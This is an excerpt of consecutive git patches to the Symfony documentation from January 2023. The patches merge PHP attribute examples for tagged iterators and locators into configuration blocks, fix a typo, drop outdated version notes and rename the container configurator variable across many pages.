 
@@ -105,7 +101,11 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
                 ]);
             }
 
-            #[Route('/random/{limit}', name='random_number')]
+            protected function configureRoutes(RoutingConfigurator $routes): void
+            {
+                $routes->add('random_number', '/random/{limit}')->controller([$this, 'randomNumber']);
+            }
+
             public function randomNumber(int $limit): JsonResponse
             {
                 return new JsonResponse([

From 63da2464ffd0018c38695cfc8b317c6dfa13c0ce Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 16:41:21 +0100
Subject: [PATCH 4041/7107] Merged the new example into the existing
 configuration block

---
 service_container/tags.rst | 59 ++++++++++++++++++--------------------
 1 file changed, 28 insertions(+), 31 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index c834c0e6b17..bda979d6a6b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -511,11 +511,37 @@ Symfony provides a shortcut to inject all services tagged with a specific tag,
 which is a common need in some applications, so you don't have to write a
 compiler pass just for that.
 
-In the following example, all services tagged with ``app.handler`` are passed as
-first  constructor argument to the ``App\HandlerCollection`` service:
+Consider the following ``HandlerCollection`` class where you want to inject
+all services tagged with ``app.handler`` into its constructor argument::
+
+    // src/HandlerCollection.php
+    namespace App;
+
+    class HandlerCollection
+    {
+        public function __construct(iterable $handlers)
+        {
+        }
+    }
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/HandlerCollection.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
+
+        class HandlerCollection
+        {
+            public function __construct(
+                // the attribute must be applied directly to the argument to autowire
+                #[TaggedIterator('app.handler')] iterable $handlers
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -578,35 +604,6 @@ first  constructor argument to the ``App\HandlerCollection`` service:
             ;
         };
 
-After compilation the ``HandlerCollection`` service is able to iterate over your
-application handlers::
-
-    // src/HandlerCollection.php
-    namespace App;
-
-    class HandlerCollection
-    {
-        public function __construct(iterable $handlers)
-        {
-        }
-    }
-
-Injecting tagged services can be also be done through autowiring thanks to the
-``#[TaggedIterator]`` attribute. This attribute must be directly used on the
-argument to autowire::
-
-    // src/HandlerCollection.php
-    namespace App;
-
-    use Symfony\Component\DependencyInjection\Attribute\TaggedIterator;
-
-    class HandlerCollection
-    {
-        public function __construct(#[TaggedIterator('app.handler')] iterable $handlers)
-        {
-        }
-    }
-
 .. versionadded:: 5.3
 
     The ``#[TaggedIterator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.

From a5b8e76ad5624ed7724867ddd09b0766dab9c1eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 16:59:46 +0100
Subject: [PATCH 4042/7107] Some tweaks

---
 .../service_subscribers_locators.rst          | 53 +++++++++++++------
 service_container/tags.rst                    |  3 ++
 2 files changed, 39 insertions(+), 17 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 0989941a1cc..a7d9971b8db 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -247,10 +247,45 @@ Defining a Service Locator
 --------------------------
 
 To manually define a service locator and inject it to another service, create an
-argument of type ``service_locator``:
+argument of type ``service_locator``.
+
+Consider the following ``CommandBus`` class where you want to inject
+some services into it via a service locator::
+
+    // src/HandlerCollection.php
+    namespace App;
+
+    use Symfony\Component\DependencyInjection\ServiceLocator;
+
+    class CommandBus
+    {
+        public function __construct(ServiceLocator $locator)
+        {
+        }
+    }
+
+Symfony allows you to inject the service locator using YAML/XML/PHP configuration
+or directly via PHP attributes:
 
 .. configuration-block::
 
+    .. conde-block:: php-attributes
+
+        // src/CommandBus.php
+        namespace App;
+
+        use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
+        use Symfony\Component\DependencyInjection\ServiceLocator;
+
+        class CommandBus
+        {
+            public function __construct(
+                // creates a service locator with all the services tagged with 'app.handler'
+                #[TaggedLocator('app.handler')] ServiceLocator $locator
+            ) {
+            }
+        }
+
     .. code-block:: yaml
 
         # config/services.yaml
@@ -305,22 +340,6 @@ As shown in the previous sections, the constructor of the ``CommandBus`` class
 must type-hint its argument with ``ContainerInterface``. Then, you can get any of
 the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
 
-The same behavior can be achieved using the ``#[TaggedLocator]`` attribute. This
-attribute must be directly used on a ``ServiceLocator`` argument::
-
-    // src/HandlerCollection.php
-    namespace App;
-
-    use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
-    use Symfony\Component\DependencyInjection\ServiceLocator;
-
-    class HandlerCollection
-    {
-        public function __construct(#[TaggedLocator('app.handler')] ServiceLocator $locator)
-        {
-        }
-    }
-
 .. versionadded:: 5.3
 
     The ``#[TaggedLocator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
diff --git a/service_container/tags.rst b/service_container/tags.rst
index bda979d6a6b..8e990dadee0 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -524,6 +524,9 @@ all services tagged with ``app.handler`` into its constructor argument::
         }
     }
 
+Symfony allows you to inject the services using YAML/XML/PHP configuration or
+directly via PHP attributes:
+
 .. configuration-block::
 
     .. code-block:: php-attributes

From 9a2b2612dd33ec2a15646c5ccce5973b01c94f04 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 5 Jan 2023 17:01:13 +0100
Subject: [PATCH 4043/7107] Remove some unneeded versionadded directives

---
 service_container/service_subscribers_locators.rst | 4 ----
 service_container/tags.rst                         | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 3a5c24e7b0a..a1947135635 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -339,10 +339,6 @@ As shown in the previous sections, the constructor of the ``CommandBus`` class
 must type-hint its argument with ``ContainerInterface``. Then, you can get any of
 the service locator services via their ID (e.g. ``$this->locator->get('App\FooCommand')``).
 
-.. versionadded:: 5.3
-
-    The ``#[TaggedLocator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
-
 Reusing a Service Locator in Multiple Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8e990dadee0..599e83d42ff 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -607,10 +607,6 @@ directly via PHP attributes:
             ;
         };
 
-.. versionadded:: 5.3
-
-    The ``#[TaggedIterator]`` attribute was introduced in Symfony 5.3 and requires PHP 8.
-
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`

From 48621f3d0d21d50c510464c1d83ac44c1a58b393 Mon Sep 17 00:00:00 2001
From: Agustin Gomes <me@agustingomes.com>
Date: Thu, 5 Jan 2023 18:59:17 +0100
Subject: [PATCH 4044/7107] Fix build by correcting a typo

Signed-off-by: Agustin Gomes <me@agustingomes.com>
---
 service_container/service_subscribers_locators.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index a7d9971b8db..aca2c8de45c 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -269,7 +269,7 @@ or directly via PHP attributes:
 
 .. configuration-block::
 
-    .. conde-block:: php-attributes
+    .. code-block:: php-attributes
 
         // src/CommandBus.php
         namespace App;

From a9cbf8bba0d9135a4033ea3efab5e7d13f82ac13 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 5 Jan 2023 23:10:23 +0100
Subject: [PATCH 4045/7107] Standardize the name of the container configurator
 variable

---
 bundles/best_practices.rst                    |  4 +-
 bundles/prepend_extension.rst                 |  6 +--
 cache.rst                                     |  4 +-
 components/dependency_injection.rst           |  6 +--
 .../_imports-parameters-note.rst.inc          |  4 +-
 .../http_foundation/session_configuration.rst |  4 +-
 components/serializer.rst                     |  4 +-
 components/uid.rst                            |  2 +-
 components/var_dumper.rst                     |  4 +-
 configuration.rst                             | 52 +++++++++----------
 configuration/micro_kernel_trait.rst          | 14 ++---
 configuration/multiple_kernels.rst            | 12 ++---
 controller/argument_value_resolver.rst        |  4 +-
 controller/upload_file.rst                    |  4 +-
 doctrine/events.rst                           | 12 ++---
 event_dispatcher.rst                          |  4 +-
 frontend/custom_version_strategy.rst          |  4 +-
 messenger/multiple_buses.rst                  |  4 +-
 profiler/data_collector.rst                   |  4 +-
 reference/dic_tags.rst                        |  8 +--
 routing/custom_route_loader.rst               |  4 +-
 security.rst                                  |  4 +-
 service_container.rst                         | 22 ++++----
 service_container/alias_private.rst           | 20 +++----
 service_container/autowiring.rst              | 10 ++--
 service_container/calls.rst                   |  2 +-
 service_container/configurators.rst           |  8 +--
 service_container/expression_language.rst     |  6 +--
 service_container/factories.rst               | 16 +++---
 service_container/import.rst                  |  8 +--
 service_container/injection_types.rst         | 12 ++---
 service_container/lazy_services.rst           |  8 +--
 service_container/optional_dependencies.rst   |  8 +--
 service_container/parent_services.rst         |  8 +--
 service_container/service_decoration.rst      | 32 ++++++------
 .../service_subscribers_locators.rst          | 24 ++++-----
 service_container/shared.rst                  |  4 +-
 service_container/synthetic_services.rst      |  4 +-
 service_container/tags.rst                    | 40 +++++++-------
 session.rst                                   |  4 +-
 session/database.rst                          | 16 +++---
 testing.rst                                   |  4 +-
 42 files changed, 212 insertions(+), 212 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 4ef81080637..f1c8e4ad555 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -442,8 +442,8 @@ The end user can provide values in any configuration file:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->parameters()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->parameters()
                 ->set('acme_blog.author.email', 'fabien@example.com')
             ;
         };
diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index fe551f31083..9478f045f46 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -145,13 +145,13 @@ registered and the ``entity_manager_name`` setting for ``acme_hello`` is set to
         // config/packages/acme_something.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('acme_something', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('acme_something', [
                 // ...
                 'use_acme_goodbye' => false,
                 'entity_manager_name' => 'non_default',
             ]);
-            $container->extension('acme_other', [
+            $containerConfigurator->extension('acme_other', [
                 // ...
                 'use_acme_goodbye' => false,
             ]);
diff --git a/cache.rst b/cache.rst
index aff21f9c030..1676fc0773c 100644
--- a/cache.rst
+++ b/cache.rst
@@ -387,8 +387,8 @@ with either :class:`Symfony\\Contracts\\Cache\\CacheInterface` or
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $configurator) {
-                $configurator->services()
+            return function(ContainerConfigurator $containerConfigurator) {
+                $containerConfigurator->services()
                     // ...
 
                     ->set('app.cache.adapter.redis')
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index c2239a9225b..470bcc7f2fc 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -291,13 +291,13 @@ config files:
 
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->parameters()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->parameters()
                 // ...
                 ->set('mailer.transport', 'sendmail')
             ;
 
-            $services = $container->services();
+            $services = $containerConfigurator->services();
             $services->set('mailer', 'Mailer')
                 ->args(['%mailer.transport%'])
             ;
diff --git a/components/dependency_injection/_imports-parameters-note.rst.inc b/components/dependency_injection/_imports-parameters-note.rst.inc
index 50c6b736353..1df99833e86 100644
--- a/components/dependency_injection/_imports-parameters-note.rst.inc
+++ b/components/dependency_injection/_imports-parameters-note.rst.inc
@@ -31,6 +31,6 @@
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $container) {
-                $container->import('%kernel.project_dir%/somefile.yaml');
+            return static function (ContainerConfigurator $containerConfigurator) {
+                $containerConfigurator->import('%kernel.project_dir%/somefile.yaml');
             };
diff --git a/components/http_foundation/session_configuration.rst b/components/http_foundation/session_configuration.rst
index 36ca212b006..f8efaf0fd18 100644
--- a/components/http_foundation/session_configuration.rst
+++ b/components/http_foundation/session_configuration.rst
@@ -200,8 +200,8 @@ configuration:
         // config/packages/framework.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('framework', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('framework', [
                 'session' => [
                     'gc_probability' => null,
                 ],
diff --git a/components/serializer.rst b/components/serializer.rst
index cfe3930f028..adeb1328c2b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -998,8 +998,8 @@ faster alternative to the
 
         use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
 
-        return static function (ContainerConfigurator $container) {
-            $container->services()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 // ...
                 ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
                     ->tag('serializer.normalizer')
diff --git a/components/uid.rst b/components/uid.rst
index c2a0c79315b..32cf9211e79 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -452,7 +452,7 @@ configuration in your application before using these commands:
         use Symfony\Component\Uid\Command\InspectUlidCommand;
         use Symfony\Component\Uid\Command\InspectUuidCommand;
 
-        return static function (ContainerConfigurator $configurator): void {
+        return static function (ContainerConfigurator $containerConfigurator): void {
             // ...
 
             $services
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index af68586de50..480ec326967 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -147,8 +147,8 @@ the :ref:`dump_destination option <configuration-debug-dump_destination>` of the
         // config/packages/debug.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('debug', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('debug', [
                 'dump_destination' => 'tcp://%env(VAR_DUMPER_SERVER)%',
             ]);
         };
diff --git a/configuration.rst b/configuration.rst
index 4265c1419b2..d88b72ad3af 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -78,18 +78,18 @@ shown in these three formats.
         {
             // ...
 
-            private function configureContainer(ContainerConfigurator $container): void
+            private function configureContainer(ContainerConfigurator $containerConfigurator): void
             {
                 $configDir = $this->getConfigDir();
 
-                $container->import($configDir.'/{packages}/*.{yaml,php}');
-                $container->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
+                $containerConfigurator->import($configDir.'/{packages}/*.{yaml,php}');
+                $containerConfigurator->import($configDir.'/{packages}/'.$this->environment.'/*.{yaml,php}');
 
                 if (is_file($configDir.'/services.yaml')) {
-                    $container->import($configDir.'/services.yaml');
-                    $container->import($configDir.'/{services}_'.$this->environment.'.yaml');
+                    $containerConfigurator->import($configDir.'/services.yaml');
+                    $containerConfigurator->import($configDir.'/{services}_'.$this->environment.'.yaml');
                 } else {
-                    $container->import($configDir.'/{services}.php');
+                    $containerConfigurator->import($configDir.'/{services}.php');
                 }
             }
         }
@@ -163,17 +163,17 @@ configuration files, even if they use a different format:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->import('legacy_config.php');
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->import('legacy_config.php');
 
             // glob expressions are also supported to load multiple files
-            $container->import('/etc/myapp/*.yaml');
+            $containerConfigurator->import('/etc/myapp/*.yaml');
 
             // the third optional argument of import() is 'ignore_errors'
             // 'ignore_errors' set to 'not_found' silently discards errors if the loaded file doesn't exist
-            $container->import('my_config_file.yaml', null, 'not_found');
+            $containerConfigurator->import('my_config_file.yaml', null, 'not_found');
             // 'ignore_errors' set to true silently discards all errors (including invalid code and not found)
-            $container->import('my_config_file.yaml', null, true);
+            $containerConfigurator->import('my_config_file.yaml', null, true);
         };
 
         // ...
@@ -262,8 +262,8 @@ reusable configuration value. By convention, parameters are defined under the
 
         use App\Entity\BlogPost;
 
-        return static function (ContainerConfigurator $container) {
-            $container->parameters()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->parameters()
                 // the parameter name is an arbitrary string (the 'app.' prefix is recommended
                 // to better differentiate your parameters from Symfony parameters).
                 ->set('app.admin_email', 'something@example.com')
@@ -334,8 +334,8 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
         // config/packages/some_package.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('some_package', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('some_package', [
                 // any string surrounded by two % is replaced by that parameter value
                 'email_address' => '%app.admin_email%',
 
@@ -371,8 +371,8 @@ configuration file using a special syntax: wrap the parameter name in two ``%``
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return static function (ContainerConfigurator $container) {
-                $container->parameters()
+            return static function (ContainerConfigurator $containerConfigurator) {
+                $containerConfigurator->parameters()
                     ->set('url_pattern', 'http://symfony.com/?foo=%%s&amp;bar=%%d');
             };
 
@@ -508,7 +508,7 @@ files directly in the ``config/packages/`` directory.
             use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
             use Symfony\Config\WebpackEncoreConfig;
 
-            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $container) {
+            return static function (WebpackEncoreConfig $webpackEncore, ContainerConfigurator $containerConfigurator) {
                 $webpackEncore
                     ->outputPath('%kernel.project_dir%/public/build')
                     ->strictMode(true)
@@ -516,12 +516,12 @@ files directly in the ``config/packages/`` directory.
                 ;
 
                 // cache is enabled only in the "prod" environment
-                if ('prod' === $container->env()) {
+                if ('prod' === $containerConfigurator->env()) {
                     $webpackEncore->cache(true);
                 }
 
                 // disable strict mode only in the "test" environment
-                if ('test' === $container->env()) {
+                if ('test' === $containerConfigurator->env()) {
                     $webpackEncore->strictMode(false);
                 }
             };
@@ -642,8 +642,8 @@ This example shows how you could configure the database connection using an env
         // config/packages/doctrine.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->extension('doctrine', [
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->extension('doctrine', [
                 'dbal' => [
                     // by convention the env var names are always uppercase
                     'url' => env('DATABASE_URL')->resolve(),
@@ -991,8 +991,8 @@ doesn't work for parameters:
 
         use App\Service\MessageGenerator;
 
-        return static function (ContainerConfigurator $container) {
-            $container->parameters()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->parameters()
                 ->set('app.contents_dir', '...');
 
             $container->services()
@@ -1048,8 +1048,8 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
 
         use App\Controller\LuckyController;
 
-        return static function (ContainerConfigurator $container) {
-            $container->services()
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $containerConfigurator->services()
                 ->defaults()
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index e08787d136d..ce4b0ac46c2 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -43,10 +43,10 @@ Next, create an ``index.php`` file that defines the kernel class and runs it::
             ];
         }
 
-        protected function configureContainer(ContainerConfigurator $c): void
+        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
         {
             // PHP equivalent of config/packages/framework.yaml
-            $c->extension('framework', [
+            $containerConfigurator->extension('framework', [
                 'secret' => 'S0ME_SECRET'
             ]);
         }
@@ -88,7 +88,7 @@ that define your bundles, your services and your routes:
 **registerBundles()**
     This is the same ``registerBundles()`` that you see in a normal kernel.
 
-**configureContainer(ContainerConfigurator $c)**
+**configureContainer(ContainerConfigurator $containerConfigurator)**
     This method builds and configures the container. In practice, you will use
     ``extension()`` to configure different bundles (this is the equivalent
     of what you see in a normal ``config/packages/*`` file). You can also register
@@ -191,12 +191,12 @@ hold the kernel. Now it looks like this::
             return $bundles;
         }
 
-        protected function configureContainer(ContainerConfigurator $c): void
+        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
         {
-            $c->import(__DIR__.'/../config/framework.yaml');
+            $containerConfigurator->import(__DIR__.'/../config/framework.yaml');
 
             // register all classes in /src/ as service
-            $c->services()
+            $containerConfigurator->services()
                 ->load('App\\', __DIR__.'/*')
                 ->autowire()
                 ->autoconfigure()
@@ -204,7 +204,7 @@ hold the kernel. Now it looks like this::
 
             // configure WebProfilerBundle only if the bundle is enabled
             if (isset($this->bundles['WebProfilerBundle'])) {
-                $c->extension('web_profiler', [
+                $containerConfigurator->extension('web_profiler', [
                     'toolbar' => true,
                     'intercept_redirects' => false,
                 ]);
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index bec83cb530c..f840b2875f5 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -106,16 +106,16 @@ files so they don't collide with the files from ``src/Kernel.php``::
             return $this->getProjectDir().'/var/log/api';
         }
 
-        protected function configureContainer(ContainerConfigurator $container): void
+        protected function configureContainer(ContainerConfigurator $containerConfigurator): void
         {
-            $container->import('../config/api/{packages}/*.yaml');
-            $container->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
+            $containerConfigurator->import('../config/api/{packages}/*.yaml');
+            $containerConfigurator->import('../config/api/{packages}/'.$this->environment.'/*.yaml');
 
             if (is_file(\dirname(__DIR__).'/config/api/services.yaml')) {
-                $container->import('../config/api/services.yaml');
-                $container->import('../config/api/{services}_'.$this->environment.'.yaml');
+                $containerConfigurator->import('../config/api/services.yaml');
+                $containerConfigurator->import('../config/api/{services}_'.$this->environment.'.yaml');
             } else {
-                $container->import('../config/api/{services}.php');
+                $containerConfigurator->import('../config/api/{services}.php');
             }
         }
 
diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 2cea87964ab..0670357bb0f 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -233,8 +233,8 @@ and adding a priority.
 
         use App\ArgumentResolver\UserValueResolver;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(UserValueResolver::class)
                 ->tag('controller.argument_value_resolver', ['priority' => 50])
diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 8f64fb10f80..46cf3230566 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -321,8 +321,8 @@ Then, define a service for this class:
 
         use App\Service\FileUploader;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(FileUploader::class)
                 ->arg('$targetDirectory', '%brochures_directory%')
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 89cfb269447..bb9517aff19 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -227,8 +227,8 @@ with the ``doctrine.event_listener`` tag:
 
         use App\EventListener\SearchIndexer;
 
-        return static function (ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // listeners are applied by default to all Doctrine connections
             $services->set(SearchIndexer::class)
@@ -360,8 +360,8 @@ with the ``doctrine.orm.entity_listener`` tag:
         use App\Entity\User;
         use App\EventListener\UserChangedNotifier;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(UserChangedNotifier::class)
                 ->tag('doctrine.orm.entity_listener', [
@@ -501,8 +501,8 @@ Doctrine connection to use) you must do that in the manual service configuration
 
         use App\EventListener\DatabaseActivitySubscriber;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(DatabaseActivitySubscriber::class)
                 ->tag('doctrine.event_subscriber'[
diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 3c6020c145d..f10a93bc90f 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -104,8 +104,8 @@ using a special "tag":
 
         use App\EventListener\ExceptionListener;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(ExceptionListener::class)
                 ->tag('kernel.event_listener', ['event' => 'kernel.exception'])
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index 336acfbd295..8a5d77cae5e 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -144,8 +144,8 @@ After creating the strategy PHP class, register it as a Symfony service.
         use App\Asset\VersionStrategy\GulpBusterVersionStrategy;
         use Symfony\Component\DependencyInjection\Definition;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(GulpBusterVersionStrategy::class)
                 ->args(
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 724c58d5e3f..dba1ebf5930 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -207,8 +207,8 @@ you can determine the message bus based on an implemented interface:
         use App\MessageHandler\CommandHandlerInterface;
         use App\MessageHandler\QueryHandlerInterface;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             // ...
 
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index ef377c47974..44545614da2 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -290,8 +290,8 @@ you'll need to configure the data collector explicitly:
 
         use App\DataCollector\RequestCollector;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(RequestCollector::class)
                 ->tag('data_collector', [
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index e163756835e..14227fe6b9e 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -122,8 +122,8 @@ services:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
             $services->set('app.postgresql_lock', PostgresqlLock::class);
@@ -184,8 +184,8 @@ the generic ``app.lock`` service can be defined as follows:
         use App\Lock\PostgresqlLock;
         use App\Lock\SqliteLock;
 
-        return function(ContainerConfigurator $configurator) {
-            $services = $configurator->services();
+        return function(ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set('app.mysql_lock', MysqlLock::class);
             $services->set('app.postgresql_lock', PostgresqlLock::class);
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index c9b2853088a..b8b9f4c1d76 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -331,8 +331,8 @@ Now define a service for the ``ExtraLoader``:
 
         use App\Routing\ExtraLoader;
 
-        return static function (ContainerConfigurator $container) {
-            $services = $configurator->services();
+        return static function (ContainerConfigurator $containerConfigurator) {
+            $services = $containerConfigurator->services();
 
             $services->set(ExtraLoader::class)
                 ->tag('routing.loader')
diff --git a/security.rst b/security.rst
index 51bd9f2a8d9..13743996749 100644
--- a/security.rst
+++ b/security.rst
@@ -2601,8 +2601,8 @@ for these events.
 
             use App\EventListener\LogoutSubscriber;
 
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+            return function(ContainerConfigurator $containerConfigurator) {
+                $services = $containerConfigurator->services();
 
                 $services->set(LogoutSubscriber::class)
                     ->tag('kernel.event_subscriber', [
diff --git a/service_container.rst b/service_container.rst
index f7b29b86ee3..c9628c19628 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -212,9 +212,9 @@ each time you ask for it.
             // config/services.php
             namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-            return function(ContainerConfigurator $configurator) {
+            return function(ContainerConfigurator $containerConfigurator) {
                 // default configuration for services in *this* file
-                $services = $configurator->services()
+                $services = $containerConfigurator->services()
                     ->defaults()
                         ->autowire()      // Automatically injects dependencies in your services.
                         ->autoconfigure() // Automatically registers your services as commands, event subscribers, etc.
@@ -505,7 +505,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $configurator) {
+        return function(ContainerConfigurator $containerConfigurator) {
